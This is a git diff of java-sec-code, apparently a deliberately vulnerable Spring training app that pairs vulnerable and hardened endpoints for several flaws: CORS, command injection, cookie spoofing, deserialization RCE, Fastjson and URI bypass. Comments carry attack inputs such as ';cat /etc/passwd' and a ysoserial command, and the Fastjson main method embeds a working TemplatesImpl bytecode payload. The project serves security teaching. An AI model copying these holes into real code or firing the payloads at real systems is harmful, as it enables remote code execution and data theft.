getSsrfBlockIps() {
+ return ssrfBlockIps;
+ }
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/CORS.java b/src/main/java/org/joychou/controller/CORS.java
deleted file mode 100644
index 65e703fd..00000000
--- a/src/main/java/org/joychou/controller/CORS.java
+++ /dev/null
@@ -1,74 +0,0 @@
-package org.joychou.controller;
-
-import org.joychou.utils.Security;
-import org.springframework.stereotype.Controller;
-import org.springframework.web.bind.annotation.CrossOrigin;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.ResponseBody;
-
-import javax.servlet.http.HttpServletRequest;
-import javax.servlet.http.HttpServletResponse;
-
-/**
- * @author: JoyChou
- * @date: 2018年10月24日
- * @desc: 只要Access-Control-Allow-Origin为*,或者可被绕过,就存在CORS跨域
- */
-
-@Controller
-@RequestMapping("/cors")
-public class CORS {
-
- protected static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}";
- protected static String[] urlwhitelist = {"joychou.com", "joychou.me"};
-
- /**
- *
- * @param request
- * @param response
- * @desc: 当origin为空,即直接访问的情况下,response的header中不会出现Access-Control-Allow-Origin
- */
- @RequestMapping("/vuls1")
- @ResponseBody
- private static String vuls1(HttpServletRequest request, HttpServletResponse response) {
- // 获取Header中的Origin
- String origin = request.getHeader("origin");
-
- response.setHeader("Access-Control-Allow-Origin", origin); // 设置Origin值为Header中获取到的
- // response.setHeader("Access-Control-Allow-Methods", "POST, GET");
- // response.setHeader("Access-Control-Allow-Credentials", "true"); // cookie
- return info;
- }
-
- @RequestMapping("/vuls2")
- @ResponseBody
- private static String vuls2(HttpServletResponse response) {
- response.setHeader("Access-Control-Allow-Origin", "*");
- // response.setHeader("Access-Control-Allow-Methods", "POST, GET");
- // response.setHeader("Access-Control-Allow-Credentials", "true");
- return info;
- }
-
- @CrossOrigin("*")
- @RequestMapping("/vuls3")
- @ResponseBody
- private static String vuls3(HttpServletResponse response) {
- return info;
- }
-
- @RequestMapping("/sec")
- @ResponseBody
- private static String seccode(HttpServletRequest request, HttpServletResponse response) {
- String origin = request.getHeader("Origin");
- Security sec = new Security();
- if (!sec.checkSafeUrl(origin, urlwhitelist)) {
- return "Origin is not safe.";
- }
- response.setHeader("Access-Control-Allow-Origin", "*");
- // response.setHeader("Access-Control-Allow-Methods", "POST, GET");
- // response.setHeader("Access-Control-Allow-Credentials", "true");
- return info;
- }
-
-
-}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/CRLFInjection.java b/src/main/java/org/joychou/controller/CRLFInjection.java
index 01668290..b0b0e9f2 100644
--- a/src/main/java/org/joychou/controller/CRLFInjection.java
+++ b/src/main/java/org/joychou/controller/CRLFInjection.java
@@ -9,18 +9,17 @@
import javax.servlet.http.HttpServletResponse;
/**
- * @author: JoyChou (joychou@joychou.org)
- * @date: 2018.01.03
- * @desc: Java 1.7/1.8没有CRLF漏洞 (test in Java 1.7/1.8)
+ * Java 1.7/1.8 no CRLF vulns (test in Java 1.7/1.8)
+ *
+ * @author JoyChou (joychou@joychou.org) @2018-01-03
*/
-
@Controller
@RequestMapping("/crlf")
public class CRLFInjection {
@RequestMapping("/safecode")
@ResponseBody
- private static void crlf(HttpServletRequest request, HttpServletResponse response) {
+ public void crlf(HttpServletRequest request, HttpServletResponse response) {
response.addHeader("test1", request.getParameter("test1"));
response.setHeader("test2", request.getParameter("test2"));
String author = request.getParameter("test3");
diff --git a/src/main/java/org/joychou/controller/CSRF.java b/src/main/java/org/joychou/controller/CSRF.java
new file mode 100644
index 00000000..21147270
--- /dev/null
+++ b/src/main/java/org/joychou/controller/CSRF.java
@@ -0,0 +1,29 @@
+package org.joychou.controller;
+
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.ResponseBody;
+
+/**
+ * check csrf using spring-security
+ * Access http://localhost:8080/csrf/ -> click submit
+ *
+ * @author JoyChou (joychou@joychou.org) @2019-05-31
+ */
+@Controller
+@RequestMapping("/csrf")
+public class CSRF {
+
+ @GetMapping("/")
+ public String index() {
+ return "form";
+ }
+
+ @PostMapping("/post")
+ @ResponseBody
+ public String post() {
+ return "CSRF passed.";
+ }
+}
diff --git a/src/main/java/org/joychou/controller/CommandInject.java b/src/main/java/org/joychou/controller/CommandInject.java
new file mode 100644
index 00000000..a1a99035
--- /dev/null
+++ b/src/main/java/org/joychou/controller/CommandInject.java
@@ -0,0 +1,63 @@
+package org.joychou.controller;
+
+import org.joychou.security.SecurityUtil;
+import org.joychou.util.WebUtils;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import javax.servlet.http.HttpServletRequest;
+import java.io.IOException;
+
+@RestController
+public class CommandInject {
+
+ protected final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+ /**
+ * http://localhost:8080/codeinject?filepath=/tmp;cat /etc/passwd
+ *
+ * @param filepath filepath
+ * @return result
+ */
+ @GetMapping("/codeinject")
+ public String codeInject(String filepath) throws IOException {
+
+ String[] cmdList = new String[]{"sh", "-c", "ls -la " + filepath};
+ ProcessBuilder builder = new ProcessBuilder(cmdList);
+ builder.redirectErrorStream(true);
+ Process process = builder.start();
+ return WebUtils.convertStreamToString(process.getInputStream());
+ }
+
+ /**
+ * Host Injection
+ * Host: hacked by joychou;cat /etc/passwd
+ * http://localhost:8080/codeinject/host
+ */
+ @GetMapping("/codeinject/host")
+ public String codeInjectHost(HttpServletRequest request) throws IOException {
+
+ String host = request.getHeader("host");
+ logger.info(host);
+ String[] cmdList = new String[]{"sh", "-c", "curl " + host};
+ ProcessBuilder builder = new ProcessBuilder(cmdList);
+ builder.redirectErrorStream(true);
+ Process process = builder.start();
+ return WebUtils.convertStreamToString(process.getInputStream());
+ }
+
+ @GetMapping("/codeinject/sec")
+ public String codeInjectSec(String filepath) throws IOException {
+ String filterFilePath = SecurityUtil.cmdFilter(filepath);
+ if (null == filterFilePath) {
+ return "Bad boy. I got u.";
+ }
+ String[] cmdList = new String[]{"sh", "-c", "ls -la " + filterFilePath};
+ ProcessBuilder builder = new ProcessBuilder(cmdList);
+ builder.redirectErrorStream(true);
+ Process process = builder.start();
+ return WebUtils.convertStreamToString(process.getInputStream());
+ }
+}
diff --git a/src/main/java/org/joychou/controller/Cookies.java b/src/main/java/org/joychou/controller/Cookies.java
new file mode 100644
index 00000000..6f0c7be2
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Cookies.java
@@ -0,0 +1,87 @@
+package org.joychou.controller;
+
+import org.springframework.web.bind.annotation.CookieValue;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletRequest;
+
+import org.joychou.util.WebUtils;
+import org.springframework.web.bind.annotation.RestController;
+
+import static org.springframework.web.util.WebUtils.getCookie;
+
+
+/**
+ * 某些应用获取用户身份信息可能会直接从cookie中直接获取明文的nick或者id,导致越权问题。
+ */
+@RestController
+@RequestMapping("/cookie")
+public class Cookies {
+
+ private static String NICK = "nick";
+
+ @GetMapping(value = "/vuln01")
+ public String vuln01(HttpServletRequest req) {
+ String nick = WebUtils.getCookieValueByName(req, NICK); // key code
+ return "Cookie nick: " + nick;
+ }
+
+
+ @GetMapping(value = "/vuln02")
+ public String vuln02(HttpServletRequest req) {
+ String nick = null;
+ Cookie[] cookie = req.getCookies();
+
+ if (cookie != null) {
+ nick = getCookie(req, NICK).getValue(); // key code
+ }
+
+ return "Cookie nick: " + nick;
+ }
+
+
+ @GetMapping(value = "/vuln03")
+ public String vuln03(HttpServletRequest req) {
+ String nick = null;
+ Cookie cookies[] = req.getCookies();
+ if (cookies != null) {
+ for (Cookie cookie : cookies) {
+ // key code. Equals can also be equalsIgnoreCase.
+ if (NICK.equals(cookie.getName())) {
+ nick = cookie.getValue();
+ }
+ }
+ }
+ return "Cookie nick: " + nick;
+ }
+
+
+ @GetMapping(value = "/vuln04")
+ public String vuln04(HttpServletRequest req) {
+ String nick = null;
+ Cookie cookies[] = req.getCookies();
+ if (cookies != null) {
+ for (Cookie cookie : cookies) {
+ if (cookie.getName().equalsIgnoreCase(NICK)) { // key code
+ nick = cookie.getValue();
+ }
+ }
+ }
+ return "Cookie nick: " + nick;
+ }
+
+
+ @GetMapping(value = "/vuln05")
+ public String vuln05(@CookieValue("nick") String nick) {
+ return "Cookie nick: " + nick;
+ }
+
+
+ @GetMapping(value = "/vuln06")
+ public String vuln06(@CookieValue(value = "nick") String nick) {
+ return "Cookie nick: " + nick;
+ }
+
+}
diff --git a/src/main/java/org/joychou/controller/Cors.java b/src/main/java/org/joychou/controller/Cors.java
new file mode 100644
index 00000000..5b7d9741
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Cors.java
@@ -0,0 +1,119 @@
+package org.joychou.controller;
+
+import org.joychou.security.SecurityUtil;
+import org.joychou.util.LoginUtils;
+import org.springframework.security.web.csrf.CsrfToken;
+import org.springframework.web.bind.annotation.CrossOrigin;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+
+/**
+ * @author JoyChou (joychou@joychou.org) @2018.10.24
+ * https://github.com/JoyChou93/java-sec-code/wiki/CORS
+ */
+
+@RestController
+@RequestMapping("/cors")
+public class Cors {
+
+ private static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}";
+
+ @GetMapping("/vuln/origin")
+ public String vuls1(HttpServletRequest request, HttpServletResponse response) {
+ String origin = request.getHeader("origin");
+ response.setHeader("Access-Control-Allow-Origin", origin); // set origin from header
+ response.setHeader("Access-Control-Allow-Credentials", "true"); // allow cookie
+ return info;
+ }
+
+ @GetMapping("/vuln/setHeader")
+ public String vuls2(HttpServletResponse response) {
+ // 后端设置Access-Control-Allow-Origin为*的情况下,跨域的时候前端如果设置withCredentials为true会异常
+ response.setHeader("Access-Control-Allow-Origin", "*");
+ return info;
+ }
+
+
+ @GetMapping("*")
+ @RequestMapping("/vuln/crossOrigin")
+ public String vuls3() {
+ return info;
+ }
+
+
+ /**
+ * 重写Cors的checkOrigin校验方法
+ * 支持自定义checkOrigin,让其额外支持一级域名
+ * 代码:org/joychou/security/CustomCorsProcessor
+ */
+ @CrossOrigin(origins = {"joychou.org", "http://test.joychou.me"})
+ @GetMapping("/sec/crossOrigin")
+ public String secCrossOrigin() {
+ return info;
+ }
+
+
+ /**
+ * WebMvcConfigurer设置Cors
+ * 支持自定义checkOrigin
+ * 代码:org/joychou/config/CorsConfig.java
+ */
+ @GetMapping("/sec/webMvcConfigurer")
+ public CsrfToken getCsrfToken_01(CsrfToken token) {
+ return token;
+ }
+
+
+ /**
+ * spring security设置cors
+ * 不支持自定义checkOrigin,因为spring security优先于setCorsProcessor执行
+ * 代码:org/joychou/security/WebSecurityConfig.java
+ */
+ @GetMapping("/sec/httpCors")
+ public CsrfToken getCsrfToken_02(CsrfToken token) {
+ return token;
+ }
+
+
+ /**
+ * 自定义filter设置cors
+ * 支持自定义checkOrigin
+ * 代码:org/joychou/filter/OriginFilter.java
+ */
+ @GetMapping("/sec/originFilter")
+ public CsrfToken getCsrfToken_03(CsrfToken token) {
+ return token;
+ }
+
+
+ /**
+ * CorsFilter设置cors。
+ * 不支持自定义checkOrigin,因为corsFilter优先于setCorsProcessor执行
+ * 代码:org/joychou/filter/BaseCorsFilter.java
+ */
+ @RequestMapping("/sec/corsFilter")
+ public CsrfToken getCsrfToken_04(CsrfToken token) {
+ return token;
+ }
+
+
+ @GetMapping("/sec/checkOrigin")
+ public String seccode(HttpServletRequest request, HttpServletResponse response) {
+ String origin = request.getHeader("Origin");
+
+ // 如果origin不为空并且origin不在白名单内,认定为不安全。
+ // 如果origin为空,表示是同域过来的请求或者浏览器直接发起的请求。
+ if (origin != null && SecurityUtil.checkURL(origin) == null) {
+ return "Origin is not safe.";
+ }
+ response.setHeader("Access-Control-Allow-Origin", origin);
+ response.setHeader("Access-Control-Allow-Credentials", "true");
+ return LoginUtils.getUserInfo2JsonStr(request);
+ }
+
+
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/Deserialize.java b/src/main/java/org/joychou/controller/Deserialize.java
index 14ac5bd9..45662e9c 100644
--- a/src/main/java/org/joychou/controller/Deserialize.java
+++ b/src/main/java/org/joychou/controller/Deserialize.java
@@ -1,35 +1,89 @@
package org.joychou.controller;
-
-import org.springframework.stereotype.Controller;
+import org.joychou.config.Constants;
+import org.joychou.security.AntObjectInputStream;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.bind.annotation.RestController;
+import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
-import java.io.InputStream;
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InvalidClassException;
import java.io.ObjectInputStream;
+import java.util.Base64;
+
+import static org.springframework.web.util.WebUtils.getCookie;
/**
- * @author: JoyChou
- * @Date: 2018年06月14日
- * @Desc: 该应用必须有Commons-Collections包才能利用反序列化命令执行。
+ * Deserialize RCE using Commons-Collections gadget.
+ *
+ * @author JoyChou @2018-06-14
*/
-
-@Controller
+@RestController
@RequestMapping("/deserialize")
public class Deserialize {
- @RequestMapping("/test")
- @ResponseBody
- public static String deserialize_test(HttpServletRequest request) throws Exception{
+ protected final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+ /**
+ * java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64
+ * Add the result to rememberMe cookie.
+ *
+ * http://localhost:8080/deserialize/rememberMe/vuln
+ */
+ @RequestMapping("/rememberMe/vuln")
+ public String rememberMeVul(HttpServletRequest request)
+ throws IOException, ClassNotFoundException {
+
+ Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);
+
+ if (null == cookie) {
+ return "No rememberMe cookie. Right?";
+ }
+
+ String rememberMe = cookie.getValue();
+ byte[] decoded = Base64.getDecoder().decode(rememberMe);
+
+ ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);
+ ObjectInputStream in = new ObjectInputStream(bytes);
+ in.readObject();
+ in.close();
+
+ return "Are u ok?";
+ }
+
+ /**
+ * Check deserialize class using black list.
+ *
+ * http://localhost:8080/deserialize/rememberMe/security
+ */
+ @RequestMapping("/rememberMe/security")
+ public String rememberMeBlackClassCheck(HttpServletRequest request)
+ throws IOException, ClassNotFoundException {
+
+ Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);
+
+ if (null == cookie) {
+ return "No rememberMe cookie. Right?";
+ }
+ String rememberMe = cookie.getValue();
+ byte[] decoded = Base64.getDecoder().decode(rememberMe);
+
+ ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);
+
try {
- InputStream iii = request.getInputStream();
- ObjectInputStream in = new ObjectInputStream(iii);
- in.readObject(); // 触发漏洞
+ AntObjectInputStream in = new AntObjectInputStream(bytes); // throw InvalidClassException
+ in.readObject();
in.close();
- return "test";
- }catch (Exception e){
- return "exception";
+ } catch (InvalidClassException e) {
+ logger.info(e.toString());
+ return e.toString();
}
+
+ return "I'm very OK.";
}
+
}
diff --git a/src/main/java/org/joychou/controller/Fastjson.java b/src/main/java/org/joychou/controller/Fastjson.java
index 8359a1bc..37c4ec18 100644
--- a/src/main/java/org/joychou/controller/Fastjson.java
+++ b/src/main/java/org/joychou/controller/Fastjson.java
@@ -2,6 +2,7 @@
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
+import com.alibaba.fastjson.parser.Feature;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
@@ -9,29 +10,26 @@
import org.springframework.web.bind.annotation.ResponseBody;
-
@Controller
@RequestMapping("/fastjson")
public class Fastjson {
- @RequestMapping(value = "deserialize", method = {RequestMethod.POST })
+ @RequestMapping(value = "/deserialize", method = {RequestMethod.POST})
@ResponseBody
- public static String Deserialize(@RequestBody String params) {
+ public String Deserialize(@RequestBody String params) {
// 如果Content-Type不设置application/json格式,post数据会被url编码
- System.out.println(params);
try {
// 将post提交的string转换为json
JSONObject ob = JSON.parseObject(params);
return ob.get("name").toString();
- }catch (Exception e){
- e.printStackTrace();
+ } catch (Exception e) {
return e.toString();
}
}
- public static void main(String[] args){
- String str = "{\"name\": \"fastjson\"}";
- JSONObject jo = JSON.parseObject(str);
- System.out.println(jo.get("name")); // fastjson
+ public static void main(String[] args) {
+ // Open calc in mac
+ String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\": [\"yv66vgAAADEAOAoAAwAiBwA2BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQAzTG1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAhFeHAuamF2YQwACgALBwAoAQAxbWUvbGlnaHRsZXNzL2Zhc3Rqc29uL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAHW1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASb3BlbiAtYSBDYWxjdWxhdG9yCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA9saWdodGxlc3MvcHduZXIBABFMbGlnaHRsZXNzL3B3bmVyOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwA3AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAD8ADgAAACAAAwAAAAEADwA3AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAEIADgAAACoABAAAAAEADwA3AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAABsAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAAAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACQ==\"], \"_name\": \"lightless\", \"_tfactory\": { }, \"_outputProperties\":{ }}";
+ JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}
diff --git a/src/main/java/org/joychou/controller/FileUpload.java b/src/main/java/org/joychou/controller/FileUpload.java
index 947b9496..00ab7008 100644
--- a/src/main/java/org/joychou/controller/FileUpload.java
+++ b/src/main/java/org/joychou/controller/FileUpload.java
@@ -1,36 +1,52 @@
package org.joychou.controller;
+import com.fasterxml.uuid.Generators;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
import org.springframework.stereotype.Controller;
-import org.springframework.web.bind.annotation.GetMapping;
-import org.springframework.web.bind.annotation.PostMapping;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.RequestParam;
+import org.springframework.web.bind.annotation.*;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.servlet.mvc.support.RedirectAttributes;
+import javax.imageio.ImageIO;
+import java.awt.image.BufferedImage;
+import java.io.File;
+import java.io.FileOutputStream;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
+import java.util.UUID;
+
+import org.joychou.security.SecurityUtil;
+
/**
- * @author: JoyChou (joychou@joychou.org)
- * @date: 2018.08.15
- * @desc: Java file upload
+ * File upload.
+ *
+ * @author JoyChou @ 2018-08-15
*/
-
@Controller
@RequestMapping("/file")
public class FileUpload {
// Save the uploaded file to this folder
- private static String UPLOADED_FOLDER = "/tmp/";
+ private static final String UPLOADED_FOLDER = "/tmp/";
+ private final Logger logger = LoggerFactory.getLogger(this.getClass());
+ private static String randomFilePath = "";
- @GetMapping("/")
+ // uplaod any file
+ @GetMapping("/any")
public String index() {
return "upload"; // return upload.html page
}
+ // only allow to upload pictures
+ @GetMapping("/pic")
+ public String uploadPic() {
+ return "uploadPic"; // return uploadPic.html page
+ }
+
@PostMapping("/upload")
public String singleFileUpload(@RequestParam("file") MultipartFile file,
RedirectAttributes redirectAttributes) {
@@ -51,8 +67,7 @@ public String singleFileUpload(@RequestParam("file") MultipartFile file,
} catch (IOException e) {
redirectAttributes.addFlashAttribute("message", "upload failed");
- e.printStackTrace();
- return "uploadStatus";
+ logger.error(e.toString());
}
return "redirect:/file/status";
@@ -63,4 +78,121 @@ public String uploadStatus() {
return "uploadStatus";
}
+ // only upload picture
+ @PostMapping("/upload/picture")
+ @ResponseBody
+ public String uploadPicture(@RequestParam("file") MultipartFile multifile) throws Exception {
+ if (multifile.isEmpty()) {
+ return "Please select a file to upload";
+ }
+
+ String fileName = multifile.getOriginalFilename();
+ String Suffix = fileName.substring(fileName.lastIndexOf(".")); // 获取文件后缀名
+ String mimeType = multifile.getContentType(); // 获取MIME类型
+ String filePath = UPLOADED_FOLDER + fileName;
+ File excelFile = convert(multifile);
+
+
+ // 判断文件后缀名是否在白名单内 校验1
+ String[] picSuffixList = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"};
+ boolean suffixFlag = false;
+ for (String white_suffix : picSuffixList) {
+ if (Suffix.toLowerCase().equals(white_suffix)) {
+ suffixFlag = true;
+ break;
+ }
+ }
+ if (!suffixFlag) {
+ logger.error("[-] Suffix error: " + Suffix);
+ deleteFile(filePath);
+ return "Upload failed. Illeagl picture.";
+ }
+
+
+ // 判断MIME类型是否在黑名单内 校验2
+ String[] mimeTypeBlackList = {
+ "text/html",
+ "text/javascript",
+ "application/javascript",
+ "application/ecmascript",
+ "text/xml",
+ "application/xml"
+ };
+ for (String blackMimeType : mimeTypeBlackList) {
+ // 用contains是为了防止text/html;charset=UTF-8绕过
+ if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType)) {
+ logger.error("[-] Mime type error: " + mimeType);
+ deleteFile(filePath);
+ return "Upload failed. Illeagl picture.";
+ }
+ }
+
+ // 判断文件内容是否是图片 校验3
+ boolean isImageFlag = isImage(excelFile);
+ deleteFile(randomFilePath);
+
+ if (!isImageFlag) {
+ logger.error("[-] File is not Image");
+ deleteFile(filePath);
+ return "Upload failed. Illeagl picture.";
+ }
+
+
+ try {
+ // Get the file and save it somewhere
+ byte[] bytes = multifile.getBytes();
+ Path path = Paths.get(UPLOADED_FOLDER + multifile.getOriginalFilename());
+ Files.write(path, bytes);
+ } catch (IOException e) {
+ logger.error(e.toString());
+ deleteFile(filePath);
+ return "Upload failed";
+ }
+
+ logger.info("[+] Safe file. Suffix: {}, MIME: {}", Suffix, mimeType);
+ logger.info("[+] Successfully uploaded {}", filePath);
+ return String.format("You successfully uploaded '%s'", filePath);
+ }
+
+ private void deleteFile(String filePath) {
+ File delFile = new File(filePath);
+ if(delFile.isFile() && delFile.exists()) {
+ if (delFile.delete()) {
+ logger.info("[+] " + filePath + " delete successfully!");
+ return;
+ }
+ }
+ logger.info(filePath + " delete failed!");
+ }
+
+ /**
+ * 为了使用ImageIO.read()
+ *
+ * 不建议使用transferTo,因为原始的MultipartFile会被覆盖
+ * https://stackoverflow.com/questions/24339990/how-to-convert-a-multipart-file-to-file
+ */
+ private File convert(MultipartFile multiFile) throws Exception {
+ String fileName = multiFile.getOriginalFilename();
+ String suffix = fileName.substring(fileName.lastIndexOf("."));
+ UUID uuid = Generators.timeBasedGenerator().generate();
+ randomFilePath = UPLOADED_FOLDER + uuid + suffix;
+ // 随机生成一个同后缀名的文件
+ File convFile = new File(randomFilePath);
+ boolean ret = convFile.createNewFile();
+ if (!ret) {
+ return null;
+ }
+ FileOutputStream fos = new FileOutputStream(convFile);
+ fos.write(multiFile.getBytes());
+ fos.close();
+ return convFile;
+ }
+
+ /**
+ * Check if the file is a picture.
+ */
+ private static boolean isImage(File file) throws IOException {
+ BufferedImage bi = ImageIO.read(file);
+ return bi != null;
+ }
}
diff --git a/src/main/java/org/joychou/controller/GetRequestURI.java b/src/main/java/org/joychou/controller/GetRequestURI.java
new file mode 100644
index 00000000..e500b980
--- /dev/null
+++ b/src/main/java/org/joychou/controller/GetRequestURI.java
@@ -0,0 +1,51 @@
+package org.joychou.controller;
+
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.util.AntPathMatcher;
+import org.springframework.util.PathMatcher;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import javax.servlet.http.HttpServletRequest;
+
+/**
+ * The difference between getRequestURI and getServletPath.
+ * 由于Spring Security的antMatchers("/css/**", "/js/**")未使用getRequestURI,所以登录不会被绕过。
+ *
+ * Details: https://joychou.org/web/security-of-getRequestURI.html
+ *
+ * Poc:
+ * http://localhost:8080/css/%2e%2e/exclued/vuln
+ * http://localhost:8080/css/..;/exclued/vuln
+ * http://localhost:8080/css/..;bypasswaf/exclued/vuln
+ *
+ * @author JoyChou @2020-03-28
+ */
+
+@RestController
+@RequestMapping("uri")
+public class GetRequestURI {
+
+ private final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+ @GetMapping(value = "/exclued/vuln")
+ public String exclued(HttpServletRequest request) {
+
+ String[] excluedPath = {"/css/**", "/js/**"};
+ String uri = request.getRequestURI(); // Security: request.getServletPath()
+ PathMatcher matcher = new AntPathMatcher();
+
+ logger.info("getRequestURI: " + uri);
+ logger.info("getServletPath: " + request.getServletPath());
+
+ for (String path : excluedPath) {
+ if (matcher.match(path, uri)) {
+ return "You have bypassed the login page.";
+ }
+ }
+ return "This is a login page >..<";
+ }
+}
diff --git a/src/main/java/org/joychou/controller/IPForge.java b/src/main/java/org/joychou/controller/IPForge.java
index 5874ffc3..9950e766 100644
--- a/src/main/java/org/joychou/controller/IPForge.java
+++ b/src/main/java/org/joychou/controller/IPForge.java
@@ -1,25 +1,23 @@
package org.joychou.controller;
import org.apache.commons.lang.StringUtils;
-import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpServletRequest;
/**
- * @author: JoyChou (joychou@joychou.org)
- * @date: 2017.12.29
- * @desc: Java获取IP安全代码
- * @detail: 关于获取IP不安全代码,详情可查看https://joychou.org/web/how-to-get-real-ip.html
+ * Java get real ip. More details: https://joychou.org/web/how-to-get-real-ip.html
+ *
+ * @author JoyChou @ 2017-12-29
*/
-
-@Controller
+@RestController
@RequestMapping("/ip")
public class IPForge {
+
// no any proxy
@RequestMapping("/noproxy")
- @ResponseBody
public static String noProxy(HttpServletRequest request) {
return request.getRemoteAddr();
}
@@ -36,7 +34,7 @@ public static String proxy(HttpServletRequest request) {
String ip = request.getHeader("X-Real-IP");
